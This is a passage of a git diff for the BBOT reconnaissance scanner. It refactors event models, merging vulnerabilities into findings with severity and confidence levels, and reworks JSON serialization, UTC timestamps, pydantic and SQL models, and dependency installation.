+++ b/bbot/__init__.py @@ -1,6 +1,4 @@ -# version placeholder (replaced by poetry-dynamic-versioning) -__version__ = "v0.0.0" - -from .scanner import Scanner, Preset - -__all__ = ["Scanner", "Preset"] +try: + from bbot._version import __version__ +except ImportError: + __version__ = "0.0.0" diff --git a/bbot/_version.py b/bbot/_version.py new file mode 100644 index 0000000000..6c8e6b979c --- /dev/null +++ b/bbot/_version.py @@ -0,0 +1 @@ +__version__ = "0.0.0" diff --git a/bbot/cli.py b/bbot/cli.py index 16e5e32453..c5781453d8 100755 --- a/bbot/cli.py +++ b/bbot/cli.py @@ -95,7 +95,7 @@ async def _main(): preset._default_internal_modules = [] # Bake a temporary copy of the preset so that flags correctly enable their associated modules before listing them - preset = await preset.bake() + preset = preset.bake() # --list-modules if options.list_modules: @@ -149,7 +149,7 @@ async def _main(): print(row) return - baked_preset = await preset.bake() + baked_preset = preset.bake() # --current-preset / --current-preset-full if options.current_preset or options.current_preset_full: @@ -196,7 +196,6 @@ async def _main(): # dummy scan used only for environment preparation dummy_scan = _ScannerForDeps(preset=preset) - await dummy_scan._unbaked_preset.bake(dummy_scan) helper = dummy_scan.helpers log.info("Installing module dependencies") diff --git a/bbot/constants.py b/bbot/constants.py new file mode 100644 index 0000000000..364aead2ff --- /dev/null +++ b/bbot/constants.py @@ -0,0 +1,72 @@ +SCAN_STATUS_QUEUED = 0 +SCAN_STATUS_NOT_STARTED = 1 +SCAN_STATUS_STARTING = 2 +SCAN_STATUS_RUNNING = 3 +SCAN_STATUS_FINISHING = 4 +SCAN_STATUS_ABORTING = 5 +SCAN_STATUS_FINISHED = 6 +SCAN_STATUS_FAILED = 7 +SCAN_STATUS_ABORTED = 8 + + +SCAN_STATUSES = { + "QUEUED": SCAN_STATUS_QUEUED, + "NOT_STARTED": SCAN_STATUS_NOT_STARTED, + "STARTING": SCAN_STATUS_STARTING, + "RUNNING": SCAN_STATUS_RUNNING, + "FINISHING": SCAN_STATUS_FINISHING, + "ABORTING": SCAN_STATUS_ABORTING, + "FINISHED": SCAN_STATUS_FINISHED, + "FAILED": SCAN_STATUS_FAILED, + "ABORTED": SCAN_STATUS_ABORTED, +} + +SCAN_STATUS_CODES = {v: k for k, v in SCAN_STATUSES.items()} + + +def is_valid_scan_status(status): + """ + Check if a status is a valid scan status + """ + return status in SCAN_STATUSES + + +def is_valid_scan_status_code(status): + """ + Check if a status is a valid scan status code + """ + return status in SCAN_STATUS_CODES + + +def get_scan_status_name(status): + """ + Convert a numeric scan status code to a string status name + """ + try: + if isinstance(status, str): + if not is_valid_scan_status(status): + raise ValueError(f"Invalid scan status: {status}") + return status + elif isinstance(status, int): + return SCAN_STATUS_CODES[status] + else: + raise ValueError(f"Invalid scan status: {status} (must be int or str)") + except KeyError: + raise ValueError(f"Invalid scan status: {status}") + + +def get_scan_status_code(status): + """ + Convert a scan status string to a numeric status code + """ + try: + if isinstance(status, int): + if not is_valid_scan_status_code(status): + raise ValueError(f"Invalid scan status code: {status}") + return status + elif isinstance(status, str): + return SCAN_STATUSES[status] + else: + raise ValueError(f"Invalid scan status: {status} (must be int or str)") + except KeyError: + raise ValueError(f"Invalid scan status: {status}") diff --git a/bbot/core/config/logger.py b/bbot/core/config/logger.py index c5773a3a0c..4f22b5157e 100644 --- a/bbot/core/config/logger.py +++ b/bbot/core/config/logger.py @@ -2,6 +2,7 @@ import sys import atexit import logging +import threading from copy import copy import multiprocessing import logging.handlers @@ -93,7 +94,10 @@ def cleanup_logging(self): # Stop queue listener with suppress(Exception): - self.listener.stop() + stop_thread = threading.Thread(target=self.listener.stop) + stop_thread.daemon = True + stop_thread.start() + stop_thread.join() def setup_queue_handler(self, logging_queue=None, log_level=logging.DEBUG): if logging_queue is None: diff --git a/bbot/core/engine.py b/bbot/core/engine.py index d7c821a333..7a33f0da71 100644 --- a/bbot/core/engine.py +++ b/bbot/core/engine.py @@ -343,6 +343,26 @@ async def shutdown(self): self.context.term() except Exception: print(traceback.format_exc(), file=sys.stderr) + # terminate the server process/thread + if self._server_process is not None: + try: + self._server_process.join(timeout=5) + if self._server_process.is_alive(): + # threads don't have terminate/kill, only processes do + terminate = getattr(self._server_process, "terminate", None) + if callable(terminate): + terminate() + self._server_process.join(timeout=3) + if self._server_process.is_alive(): + kill = getattr(self._server_process, "kill", None) + if callable(kill): + kill() + except Exception: + with suppress(Exception): + kill = getattr(self._server_process, "kill", None) + if callable(kill): + kill() + self._server_process = None # delete socket file on exit self.socket_path.unlink(missing_ok=True) diff --git a/bbot/core/event/base.py b/bbot/core/event/base.py index 571c7b3055..11b89e21b3 100644 --- a/bbot/core/event/base.py +++ b/bbot/core/event/base.py @@ -11,6 +11,7 @@ from pathlib import Path from typing import Optional +from zoneinfo import ZoneInfo from copy import copy, deepcopy from contextlib import suppress from radixtarget import RadixTarget @@ -40,6 +41,7 @@ validators, get_file_extension, ) +from bbot.models.helpers import utc_datetime_validator from bbot.core.helpers.web.envelopes import BaseEnvelope @@ -106,7 +108,8 @@ class BaseEvent: # Always emit this event type even if it's not in scope _always_emit = False # Always emit events with these tags even if they're not in scope - _always_emit_tags = ["affiliate", "target"] + + _always_emit_tags = ["affiliate", "seed"] # Bypass scope checking and dns resolution, distribute immediately to modules # This is useful for "end-of-line" events like FINDING and VULNERABILITY _quick_emit = False @@ -150,7 +153,6 @@ class BaseEvent: "_discovery_context_regex", "_stats_recorded", "_internal", - "_confidence", "_dummy", "_module", # DNS-related attributes @@ -179,7 +181,6 @@ def __init__( module=None, scan=None, tags=None, - confidence=100, timestamp=None, _dummy=False, _internal=None, @@ -197,7 +198,6 @@ def __init__( module (str, optional): Module that discovered the event. Defaults to None. scan (Scan, optional): BBOT Scan object. Required unless _dummy is True. Defaults to None. tags (list of str, optional): Descriptive tags for the event. Defaults to None. - confidence (int, optional): Confidence level for the event, on a scale of 1-100. Defaults to 100. timestamp (datetime, optional): Time of event discovery. Defaults to current UTC time. _dummy (bool, optional): If True, disables certain data validations. Defaults to False. _internal (Any, optional): If specified, makes the event internal. Defaults to None. @@ -245,7 +245,6 @@ def __init__( except AttributeError: self.timestamp = datetime.datetime.utcnow() - self.confidence = int(confidence) self._internal = False # self.scan holds the instantiated scan object (for helpers, etc.) @@ -285,27 +284,6 @@ def __init__( def data(self): return self._data - @property - def confidence(self): - return self._confidence - - @confidence.setter - def confidence(self, confidence): - self._confidence = min(100, max(1, int(confidence))) - - @property - def cumulative_confidence(self): - """ - Considers the confidence of parent events. This is useful for filtering out speculative/unreliable events. - - E.g. an event with a confidence of 50 whose parent is also 50 would have a cumulative confidence of 25. - - A confidence of 100 will reset the cumulative confidence to 100. - """ - if self._confidence == 100 or self.parent is None or self.parent is self: - return self._confidence - return int(self._confidence * self.parent.cumulative_confidence / 100) - @property def resolved_hosts(self): if is_ip(self.host): @@ -401,6 +379,8 @@ def host_filterable(self): @property def port(self): self.host + if self._port: + return self._port if getattr(self, "parsed_url", None): if self.parsed_url.port is not None: return self.parsed_url.port @@ -408,7 +388,6 @@ def port(self): return 443 elif self.parsed_url.scheme == "http": return 80 - return self._port @property def netloc(self): @@ -618,6 +597,9 @@ def parent(self, parent): new_scope_distance += 1 self.scope_distance = new_scope_distance # inherit certain tags + # inherit seed tag from DNS_NAME_UNRESOLVED -> DNS_NAME only + if "seed" in parent.tags and parent.type == "DNS_NAME_UNRESOLVED" and self.type == "DNS_NAME": + self.add_tag("seed") if hosts_are_same: # inherit web spider distance from parent self.web_spider_distance = getattr(parent, "web_spider_distance", 0) @@ -817,7 +799,7 @@ def __contains__(self, other): return bool(radixtarget.search(other_event.host)) return False - def json(self, mode="json", siem_friendly=False): + def json(self, mode="json"): """ Serializes the event object to a JSON-compatible dictionary. @@ -826,7 +808,6 @@ def json(self, mode="json", siem_friendly=False): Parameters: mode (str): Specifies the data serialization mode. Default is "json". Other options include "graph", "human", and "id". - siem_friendly (bool): Whether to format the JSON in a way that's friendly to SIEM ingestion by Elastic, Splunk, etc. This ensures the value of "data" is always the same type (a dictionary). Returns: dict: JSON-serializable dictionary representation of the event object. @@ -843,10 +824,12 @@ def json(self, mode="json", siem_friendly=False): data = data_attr else: data = smart_decode(self.data) - if siem_friendly: - j["data"] = {self.type: data} - else: + if isinstance(data, str): j["data"] = data + elif isinstance(data, dict): + j["data_json"] = data + else: + raise ValueError(f"Invalid data type: {type(data)}") # host, dns children if self.host: j["host"] = str(self.host) @@ -864,7 +847,7 @@ def json(self, mode="json", siem_friendly=False): if self.scan: j["scan"] = self.scan.id # timestamp - j["timestamp"] = self.timestamp.isoformat() + j["timestamp"] = utc_datetime_validator(self.timestamp).timestamp() # parent event parent_id = self.parent_id if parent_id: @@ -873,8 +856,7 @@ def json(self, mode="json", siem_friendly=False): if parent_uuid: j["parent_uuid"] = parent_uuid # tags - if self.tags: - j.update({"tags": list(self.tags)}) + j.update({"tags": sorted(self.tags)}) # parent module if self.module: j.update({"module": str(self.module)}) @@ -1094,9 +1076,10 @@ def __init__(self, *args, **kwargs): parent_path = parent.data.get("path", None) if parent_path is not None: self.data["path"] = parent_path - # inherit closest host + # inherit closest host+port if parent.host: self.data["host"] = str(parent.host) + self._port = parent.port # we do this to refresh the hash self.data = self.data break @@ -1107,6 +1090,7 @@ def __init__(self, *args, **kwargs): class DictPathEvent(DictEvent): def sanitize_data(self, data): + data = super().sanitize_data(data) new_data = dict(data) new_data["path"] = str(new_data["path"]) file_blobs = getattr(self.scan, "_file_blobs", False) @@ -1269,6 +1253,9 @@ def _words(self): class OPEN_TCP_PORT(BaseEvent): + # we generally don't care about open ports on affiliates + _always_emit_tags = ["seed"] + def sanitize_data(self, data): return validators.validate_open_port(data) @@ -1591,7 +1578,7 @@ def redirect_location(self): return location -class VULNERABILITY(ClosestHostEvent): +class FINDING(ClosestHostEvent): _always_emit = True _quick_emit = True severity_colors = { @@ -1599,41 +1586,48 @@ class VULNERABILITY(ClosestHostEvent): "HIGH": "🟥", "MEDIUM": "🟧", "LOW": "🟨", - "UNKNOWN": "⬜", + "INFORMATIONAL": "⬜", + } + + confidence_colors = { + "CONFIRMED": "🟣", + "HIGH": "🔴", + "MODERATE": "🟠", + "LOW": "🟡", + "UNKNOWN": "⚪", } def sanitize_data(self, data): - self.add_tag(data["severity"].lower()) + data = super().sanitize_data(data) + self.add_tag(f"severity-{data['severity'].lower()}") + self.add_tag(f"confidence-{data['confidence'].lower()}") return data class _data_validator(BaseModel): host: Optional[str] = None severity: str + name: str description: str + confidence: str url: Optional[str] = None path: Optional[str] = None + cves: Optional[list[str]] = None _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) _validate_severity = field_validator("severity")(validators.validate_severity) + _validate_confidence = field_validator("confidence")(validators.validate_confidence) def _pretty_string(self): - return f"[{self.data['severity']}] {self.data['description']}" - + severity = self.data["severity"] + confidence = self.data["confidence"] + description = self.data["description"] -class FINDING(ClosestHostEvent): - _always_emit = True - _quick_emit = True - - class _data_validator(BaseModel): - host: Optional[str] = None - description: str - url: Optional[str] = None - path: Optional[str] = None - _validate_url = field_validator("url")(validators.validate_url) - _validate_host = field_validator("host")(validators.validate_host) - - def _pretty_string(self): - return self.data["description"] + # Add bold formatting for CONFIRMED confidence + if confidence == "CONFIRMED": + confidence_str = f"[\033[1m{confidence}\033[0m]" + else: + confidence_str = f"[{confidence}]" + return f"Severity: [{severity}] Confidence: {confidence_str} {description}" class TECHNOLOGY(DictHostEvent): @@ -1644,6 +1638,11 @@ class _data_validator(BaseModel): _validate_url = field_validator("url")(validators.validate_url) _validate_host = field_validator("host")(validators.validate_host) + def _sanitize_data(self, data): + data = super()._sanitize_data(data) + data["technology"] = data["technology"].lower() + return data + def _data_id(self): # dedupe by host+port+tech tech = self.data.get("technology", "") @@ -1754,13 +1753,14 @@ def __init__(self, *args, **kwargs): class RAW_DNS_RECORD(DictHostEvent, DnsEvent): # don't emit raw DNS records for affiliates - _always_emit_tags = ["target"] + _always_emit_tags = ["seed"] class MOBILE_APP(DictEvent): _always_emit = True def _sanitize_data(self, data): + data = super()._sanitize_data(data) if isinstance(data, str): data = {"url": data} if "url" not in data: @@ -1842,7 +1842,6 @@ def make_event( module=None, scan=None, tags=None, - confidence=100, dummy=False, internal=None, ): @@ -1861,7 +1860,6 @@ def make_event( scan (Scan, optional): BBOT Scan object associated with the event. scans (List[Scan], optional): Multiple BBOT Scan objects, primarily used for unserialization. tags (Union[str, List[str]], optional): Descriptive tags for the event, as a list or a single string. - confidence (int, optional): Confidence level for the event, on a scale of 1-100. Defaults to 100. dummy (bool, optional): Disables data validations if set to True. Defaults to False. internal (Any, optional): Makes the event internal if set to True. Defaults to None. @@ -1935,13 +1933,12 @@ def make_event( module=module, scan=scan, tags=tags, - confidence=confidence, _dummy=dummy, _internal=internal, ) -def event_from_json(j, siem_friendly=False): +def event_from_json(j): """ Creates an event object from a JSON dictionary. @@ -1968,14 +1965,15 @@ def event_from_json(j, siem_friendly=False): kwargs = { "event_type": event_type, "tags": j.get("tags", []), - "confidence": j.get("confidence", 100), "context": j.get("discovery_context", None), "dummy": True, } - if siem_friendly: - data = j["data"][event_type] - else: - data = j["data"] + data = j.get("data_json", None) + if data is None: + data = j.get("data", None) + if data is None: + json_pretty = json.dumps(j, indent=2) + raise ValueError(f"data or data_json must be provided. JSON: {json_pretty}") kwargs["data"] = data event = make_event(**kwargs) event_uuid = j.get("uuid", None) @@ -1984,7 +1982,12 @@ def event_from_json(j, siem_friendly=False): resolved_hosts = j.get("resolved_hosts", []) event._resolved_hosts = set(resolved_hosts) - event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) + + # accept both isoformat and unix timestamp + try: + event.timestamp = datetime.datetime.fromtimestamp(j["timestamp"], ZoneInfo("UTC")) + except Exception: + event.timestamp = datetime.datetime.fromisoformat(j["timestamp"]) event.scope_distance = j["scope_distance"] parent_id = j.get("parent", None) if parent_id is not None: diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py index 1348ed077c..1292549498 100644 --- a/bbot/core/helpers/depsinstaller/installer.py +++ b/bbot/core/helpers/depsinstaller/installer.py @@ -268,6 +268,24 @@ async def pip_install(self, packages, constraints=None): packages_str = ",".join(packages) log.info(f"Installing the following pip packages: {packages_str}") + # Ensure pip is available in the environment + try: + check_pip_command = [sys.executable, "-m", "pip", "--version"] + await self.parent_helper.run(check_pip_command, check=True) + except CalledProcessError: + # pip is not available, try to install it with ensurepip + log.info("pip not found in virtual environment, attempting to install with ensurepip") + try: + ensurepip_command = [sys.executable, "-m", "ensurepip", "--upgrade"] + await self.parent_helper.run(ensurepip_command, check=True) + log.info("Successfully installed pip with ensurepip") + except CalledProcessError as err: + log.warning( + f"Failed to install pip with ensurepip (return code {err.returncode}): {err.stderr}. " + f"If using uv, create the virtual environment with 'uv venv --seed' or set UV_VENV_SEED=1" + ) + return False + command = [sys.executable, "-m", "pip", "install", "--upgrade"] + packages # if no custom constraints are provided, use the constraints of the currently installed version of bbot @@ -426,8 +444,10 @@ def ensure_root(self, message=""): with self.ensure_root_lock: # first check if the environment variable is set _sudo_password = os.environ.get("BBOT_SUDO_PASS", None) - if _sudo_password is not None or os.geteuid() == 0 or can_sudo_without_password(): - # if we're already root or we can sudo without a password, there's no need to prompt + if _sudo_password is not None: + self._sudo_password = _sudo_password + return + if os.geteuid() == 0 or can_sudo_without_password(): return if message: @@ -435,13 +455,34 @@ def ensure_root(self, message=""): while not self._sudo_password: # sleep for a split second to flush previous log messages sleep(0.1) - _sudo_password = getpass.getpass(prompt="[USER] Please enter sudo password: ") + try: + _sudo_password = getpass.getpass(prompt="[USER] Please enter sudo password: ") + except OSError: + log.warning("Unable to read sudo password (no TTY). Set BBOT_SUDO_PASS env var.") + return if self.parent_helper.verify_sudo_password(_sudo_password): log.success("Authentication successful") self._sudo_password = _sudo_password else: log.warning("Incorrect password") + def _core_dep_satisfied(self, command): + """Check if a core dependency is satisfied. + + For normal binary deps, check if the command exists on PATH. + For special entries like openssl_dev_headers, use a custom check. + """ + if command == "openssl_dev_headers": + # check for openssl headers by looking for the pkg-config file or header + return any( + Path(p).exists() + for p in [ + "/usr/include/openssl/ssl.h", + "/usr/local/include/openssl/ssl.h", + ] + ) or bool(self.parent_helper.which("openssl")) + return bool(self.parent_helper.which(command)) + async def install_core_deps(self): # skip if we've already successfully installed core deps for this definition core_deps_hash = str(mmh3.hash(orjson.dumps(self.CORE_DEPS, option=orjson.OPT_SORT_KEYS))) @@ -453,31 +494,15 @@ async def install_core_deps(self): to_install = set() to_install_friendly = set() playbook = [] - self._install_sudo_askpass() - # ensure tldextract data is cached - self.parent_helper.tldextract("evilcorp.co.uk") - # install any missing commands + # check which commands are missing for command, package_name_or_playbook in self.CORE_DEPS.items(): - if not self.parent_helper.which(command): - to_install_friendly.add(command) - if isinstance(package_name_or_playbook, str): - to_install.add(package_name_or_playbook) - else: - playbook.extend(package_name_or_playbook) - # install ansible community.general collection - overall_success = True - if not self.setup_status.get("ansible:community.general", False): - log.info("Installing Ansible Community General Collection") - try: - command = ["ansible-galaxy", "collection", "install", "community.general"] - await self.parent_helper.run(command, check=True) - self.setup_status["ansible:community.general"] = True - log.info("Successfully installed Ansible Community General Collection") - except CalledProcessError as err: - log.warning( - f"Failed to install Ansible Community.General Collection (return code {err.returncode}): {err.stderr}" - ) - overall_success = False + if self._core_dep_satisfied(command): + continue + to_install_friendly.add(command) + if isinstance(package_name_or_playbook, str): + to_install.add(package_name_or_playbook) + else: + playbook.extend(package_name_or_playbook) # construct ansible playbook if to_install: playbook.append( @@ -487,8 +512,26 @@ async def install_core_deps(self): "become": True, } ) - # run playbook + # only run ansible if there's actually something to install + overall_success = True if playbook: + self._install_sudo_askpass() + # ensure tldextract data is cached + self.parent_helper.tldextract("evilcorp.co.uk") + # install ansible community.general collection if needed + if not self.setup_status.get("ansible:community.general", False): + log.info("Installing Ansible Community General Collection") + try: + command = ["ansible-galaxy", "collection", "install", "community.general"] + await self.parent_helper.run(command, check=True) + self.setup_status["ansible:community.general"] = True + log.info("Successfully installed Ansible Community General Collection") + except CalledProcessError as err: + log.warning( + f"Failed to install Ansible Community.General Collection (return code {err.returncode}): {err.stderr}" + ) + overall_success = False + # run playbook log.info(f"Installing core BBOT dependencies: {','.join(sorted(to_install_friendly))}") self.ensure_root() success, _ = self.ansible_run(tasks=playbook) diff --git a/bbot/core/helpers/helper.py b/bbot/core/helpers/helper.py index ba60553b80..ab94f6a644 100644 --- a/bbot/core/helpers/helper.py +++ b/bbot/core/helpers/helper.py @@ -94,6 +94,7 @@ def __init__(self, preset): self._web = None self._asn = None self._cloudcheck = None + self._asn = None self.config_aware_validators = self.validators.Validators(self) self.depsinstaller = DepsInstaller(self) self.word_cloud = WordCloud(self) diff --git a/bbot/core/helpers/validators.py b/bbot/core/helpers/validators.py index 97a39fae3c..99479b6414 100644 --- a/bbot/core/helpers/validators.py +++ b/bbot/core/helpers/validators.py @@ -129,14 +129,28 @@ def validate_host(host: Union[str, ipaddress.IPv4Address, ipaddress.IPv6Address] raise ValidationError(f'Invalid hostname: "{host}"') +FINDING_SEVERITY_LEVELS = ("INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL") + + @validator def validate_severity(severity: str): severity = str(severity).strip().upper() - if severity not in ("UNKNOWN", "INFO", "LOW", "MEDIUM", "HIGH", "CRITICAL"): + if severity not in FINDING_SEVERITY_LEVELS: raise ValueError(f"Invalid severity: {severity}") return severity +FINDING_CONFIDENCE_LEVELS = ("UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED") + + +@validator +def validate_confidence(confidence: str): + confidence = str(confidence).strip().upper() + if confidence not in FINDING_CONFIDENCE_LEVELS: + raise ValueError(f"Invalid confidence: {confidence}") + return confidence + + @validator def validate_email(email: str): email = smart_encode_punycode(str(email).strip().lower()) diff --git a/bbot/core/helpers/web/client.py b/bbot/core/helpers/web/client.py index b76e6058ee..2d352b2f33 100644 --- a/bbot/core/helpers/web/client.py +++ b/bbot/core/helpers/web/client.py @@ -90,9 +90,9 @@ def build_request(self, *args, **kwargs): kwargs["url"] = url url = kwargs["url"] - target_in_scope = self._target.in_scope(str(url)) + in_target = self._target.in_target(str(url)) - if target_in_scope: + if in_target: if not kwargs.get("cookies", None): kwargs["cookies"] = {} for ck, cv in self._web_config.get("http_cookies", {}).items(): @@ -101,7 +101,7 @@ def build_request(self, *args, **kwargs): request = super().build_request(**kwargs) - if target_in_scope: + if in_target: for hk, hv in self._web_config.get("http_headers", {}).items(): hv = str(hv) # don't clobber headers diff --git a/bbot/core/modules.py b/bbot/core/modules.py index 7bdb440b2d..daf71ecfb1 100644 --- a/bbot/core/modules.py +++ b/bbot/core/modules.py @@ -476,9 +476,10 @@ def load_modules(self, module_names): try: module = self.load_module(module_name) except ModuleNotFoundError as e: - raise BBOTError( + log.warning( f"Error loading module {module_name}: {e}. You may have leftover artifacts from an older version of BBOT. Try deleting/renaming your '~/.bbot' directory." - ) from e + ) + module = None modules[module_name] = module return modules diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 64614d08e1..ddf0c1384d 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -1,5 +1,14 @@ ### BASIC OPTIONS ### +# NOTE: If used in a preset, these options must be nested underneath "config:" like so: +# config: +# home: ~/.bbot +# keep_scans: 20 +# scope: +# strict: true +# dns: +# minimal: true + # BBOT working directory home: ~/.bbot # How many scan results to keep before cleaning up the older ones @@ -15,7 +24,7 @@ folder_blobs: false scope: # strict scope means only exact DNS names are considered in-scope - # subdomains are not included unless they are explicitly provided in the target list + # their subdomains are not included unless explicitly whitelisted strict: false # Filter by scope distance which events are displayed in the output # 0 == show only in-scope events (affiliates are always shown) diff --git a/bbot/models/helpers.py b/bbot/models/helpers.py new file mode 100644 index 0000000000..b94bc976cc --- /dev/null +++ b/bbot/models/helpers.py @@ -0,0 +1,20 @@ +from datetime import datetime +from zoneinfo import ZoneInfo + + +def utc_datetime_validator(d: datetime) -> datetime: + """ + Converts all dates into UTC + """ + if d.tzinfo is not None: + return d.astimezone(ZoneInfo("UTC")) + else: + return d.replace(tzinfo=ZoneInfo("UTC")) + + +def utc_now() -> datetime: + return datetime.now(ZoneInfo("UTC")) + + +def utc_now_timestamp() -> datetime: + return utc_now().timestamp() diff --git a/bbot/models/pydantic.py b/bbot/models/pydantic.py new file mode 100644 index 0000000000..5b7990056c --- /dev/null +++ b/bbot/models/pydantic.py @@ -0,0 +1,158 @@ +import json +import logging +from pydantic import BaseModel, ConfigDict, Field, computed_field +from typing import Optional, List, Annotated, get_origin, get_args + +from bbot.models.helpers import utc_now_timestamp + +log = logging.getLogger("bbot_server.models") + + +class BBOTBaseModel(BaseModel): + model_config = ConfigDict(extra="ignore") + + def to_json(self, **kwargs): + return json.dumps(self.model_dump(), sort_keys=True, **kwargs) + + def __hash__(self): + return hash(self.to_json()) + + def __eq__(self, other): + return hash(self) == hash(other) + + @classmethod + def indexed_fields(cls): + indexed_fields = {} + + # Handle regular fields + for fieldname, field in cls.model_fields.items(): + if any(isinstance(m, str) and m.startswith("indexed") for m in field.metadata): + indexed_fields[fieldname] = field.metadata + + # Handle computed fields + for fieldname, field in cls.model_computed_fields.items(): + return_type = field.return_type + if get_origin(return_type) is Annotated: + type_args = get_args(return_type) + metadata = list(type_args[1:]) # Skip the first arg (the actual type) + if any(isinstance(m, str) and m.startswith("indexed") for m in metadata): + indexed_fields[fieldname] = metadata + + return indexed_fields + + # we keep these because they were a lot of work to make and maybe someday they'll be useful again + + # @classmethod + # def _get_type_hints(cls): + # """ + # Drills down past all the Annotated, Optional, and Union layers to get the underlying type hint + # """ + # type_hints = get_type_hints(cls) + # unwrapped_type_hints = {} + # for field_name in cls.model_fields: + # type_hint = type_hints[field_name] + # while 1: + # if getattr(type_hint, "__origin__", None) in (Annotated, Optional, Union): + # type_hint = type_hint.__args__[0] + # else: + # break + # unwrapped_type_hints[field_name] = type_hint + # return unwrapped_type_hints + + # @classmethod + # def _datetime_fields(cls): + # datetime_fields = [] + # for field_name, type_hint in cls._get_type_hints().items(): + # if type_hint == datetime: + # datetime_fields.append(field_name) + # return sorted(datetime_fields) + + +### EVENT ### + + +class Event(BBOTBaseModel): + uuid: Annotated[str, "indexed", "unique"] + id: Annotated[str, "indexed"] + type: Annotated[str, "indexed"] + scope_description: str + data: Annotated[Optional[str], "indexed"] = None + data_json: Optional[dict] = None + host: Annotated[Optional[str], "indexed"] = None + port: Optional[int] = None + netloc: Optional[str] = None + resolved_hosts: Optional[List] = None + dns_children: Optional[dict] = None + web_spider_distance: int = 10 + scope_distance: int = 10 + scan: Annotated[str, "indexed"] + timestamp: Annotated[float, "indexed"] + inserted_at: Annotated[Optional[float], "indexed"] = Field(default_factory=utc_now_timestamp) + parent: Annotated[str, "indexed"] + parent_uuid: Annotated[str, "indexed"] + tags: List = [] + module: Annotated[Optional[str], "indexed"] = None + module_sequence: Optional[str] = None + discovery_context: str = "" + discovery_path: List[str] = [] + parent_chain: List[str] = [] + archived: bool = False + + def get_data(self): + if self.data is not None: + return self.data + return self.data_json + + def __hash__(self): + return hash(self.id) + + @computed_field + @property + def reverse_host(self) -> Annotated[Optional[str], "indexed"]: + """ + We store the host in reverse to allow for instant subdomain queries + This works because indexes are left-anchored, but we need to search starting from the right side + """ + if self.host: + return self.host[::-1] + return None + + +### SCAN ### + + +class Scan(BBOTBaseModel): + id: Annotated[str, "indexed", "unique"] + name: str + status: Annotated[str, "indexed"] + started_at: Annotated[float, "indexed"] + finished_at: Annotated[Optional[float], "indexed"] = None + duration_seconds: Optional[float] = None + duration: Optional[str] = None + target: dict + preset: dict + + @classmethod + def from_scan(cls, scan): + return cls( + id=scan.id, + name=scan.name, + status=scan.status, + started_at=scan.started_at, + ) + + +### TARGET ### + + +class Target(BBOTBaseModel): + name: str = "Default Target" + strict_dns_scope: bool = False + target: List = [] + seeds: Optional[List] = None + blacklist: List = [] + hash: Annotated[str, "indexed", "unique"] + scope_hash: Annotated[str, "indexed"] + seed_hash: Annotated[str, "indexed"] + target_hash: Annotated[str, "indexed"] + blacklist_hash: Annotated[str, "indexed"] diff --git a/bbot/db/sql/models.py b/bbot/models/sql.py similarity index 77% rename from bbot/db/sql/models.py rename to bbot/models/sql.py index d6e7656108..1e15c8c073 100644 --- a/bbot/db/sql/models.py +++ b/bbot/models/sql.py @@ -3,13 +3,15 @@ import json import logging +from datetime import datetime from pydantic import ConfigDict from typing import List, Optional -from datetime import datetime, timezone from typing_extensions import Annotated from pydantic.functional_validators import AfterValidator from sqlmodel import inspect, Column, Field, SQLModel, JSON, String, DateTime as SQLADateTime +from bbot.models.helpers import utc_now_timestamp + log = logging.getLogger("bbot_server.models") @@ -27,14 +29,6 @@ def naive_datetime_validator(d: datetime): NaiveUTC = Annotated[datetime, AfterValidator(naive_datetime_validator)] -class CustomJSONEncoder(json.JSONEncoder): - def default(self, obj): - # handle datetime - if isinstance(obj, datetime): - return obj.isoformat() - return super().default(obj) - - class BBOTBaseModel(SQLModel): model_config = ConfigDict(extra="ignore") @@ -52,7 +46,7 @@ def validated(self): return self def to_json(self, **kwargs): - return json.dumps(self.validated.model_dump(), sort_keys=True, cls=CustomJSONEncoder, **kwargs) + return json.dumps(self.validated.model_dump(), sort_keys=True, **kwargs) @classmethod def _pk_column_names(cls): @@ -71,20 +65,13 @@ def __eq__(self, other): class Event(BBOTBaseModel, table=True): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) - data = self._get_data(self.data, self.type) - self.data = {self.type: data} if self.host: self.reverse_host = self.host[::-1] def get_data(self): - return self._get_data(self.data, self.type) - - @staticmethod - def _get_data(data, type): - # handle SIEM-friendly format - if isinstance(data, dict) and list(data) == [type]: - return data[type] - return data + if self.data is not None: + return self.data + return self.data_json uuid: str = Field( primary_key=True, @@ -93,11 +80,12 @@ def _get_data(data, type): ) id: str = Field(index=True) type: str = Field(index=True) - scope_description: str - data: dict = Field(sa_type=JSON) + data: Optional[str] = Field(default=None, index=True) + data_json: Optional[dict] = Field(default=None, sa_type=JSON) host: Optional[str] port: Optional[int] netloc: Optional[str] + scope_description: str # store the host in reversed form for efficient lookups by domain reverse_host: Optional[str] = Field(default="", exclude=True, index=True) resolved_hosts: List = Field(default=[], sa_type=JSON) @@ -105,7 +93,8 @@ def _get_data(data, type): web_spider_distance: int = 10 scope_distance: int = Field(default=10, index=True) scan: str = Field(index=True) - timestamp: NaiveUTC = Field(index=True) + timestamp: float = Field(index=True) + inserted_at: float = Field(default_factory=utc_now_timestamp) parent: str = Field(index=True) tags: List = Field(default=[], sa_type=JSON) module: str = Field(index=True) @@ -113,7 +102,6 @@ def _get_data(data, type): discovery_context: str = "" discovery_path: List[str] = Field(default=[], sa_type=JSON) parent_chain: List[str] = Field(default=[], sa_type=JSON) - inserted_at: NaiveUTC = Field(default_factory=lambda: datetime.now(timezone.utc)) ### SCAN ### @@ -136,12 +124,12 @@ class Scan(BBOTBaseModel, table=True): class Target(BBOTBaseModel, table=True): name: str = "Default Target" - strict_scope: bool = False - seeds: List = Field(default=[], sa_type=JSON) - whitelist: List = Field(default=None, sa_type=JSON) + strict_dns_scope: bool = False + target: List = Field(default=[], sa_type=JSON) + seeds: Optional[List] = Field(default=None, sa_type=JSON) blacklist: List = Field(default=[], sa_type=JSON) hash: str = Field(sa_column=Column("hash", String(length=255), unique=True, primary_key=True, index=True)) scope_hash: str = Field(sa_column=Column("scope_hash", String(length=255), index=True)) - seed_hash: str = Field(sa_column=Column("seed_hashhash", String(length=255), index=True)) - whitelist_hash: str = Field(sa_column=Column("whitelist_hash", String(length=255), index=True)) + seed_hash: str = 